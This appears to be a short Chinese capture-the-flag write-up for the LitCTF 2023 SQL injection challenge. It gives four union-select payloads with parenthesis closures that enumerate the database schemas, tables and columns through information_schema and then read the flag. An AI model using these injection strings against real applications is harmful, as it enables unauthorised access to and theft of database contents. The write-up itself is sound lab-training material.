开启环境:
直接提示了查询语句,sql注入:
?id=1)))))) union select 1,group_concat(schema_name) from information_schema.schemata–-+
得到数据库
?id=1))))))union select 1,group_concat(table_name) from information_schema.tables where table_schema=‘ctftraining’--+
得到ctftraining中的表
?id=1))))))union select 1,group_concat(column_name) from information_schema.columns where table_schema=‘ctftraining’--+
爆出字段名
/?id=1))))))union select 1,flag from ctftraining.flag--+
联合查询得到flag值
![[LitCTF 2023]<span style='color:red;'>这</span><span style='color:red;'>是</span><span style='color:red;'>什么</span>？<span style='color:red;'>SQL</span> ！<span style='color:red;'>注</span><span style='color:red;'>一</span><span style='color:red;'>下</span> ！](https://img-blog.csdnimg.cn/direct/8d46b3f7cdcc436291bb3d72f0f126b8.png#pic_center)
![【CTF Web】<span style='color:red;'>NSSCTF</span> 3868 [LitCTF 2023]<span style='color:red;'>这</span><span style='color:red;'>是</span><span style='color:red;'>什么</span>？<span style='color:red;'>SQL</span> ！<span style='color:red;'>注</span><span style='color:red;'>一</span><span style='color:red;'>下</span> ！Writeup（<span style='color:red;'>SQL</span>注入+报错注入+括号闭合+DIOS）](https://img-blog.csdnimg.cn/direct/470f723826a74735aa22baf03aac86a0.png)
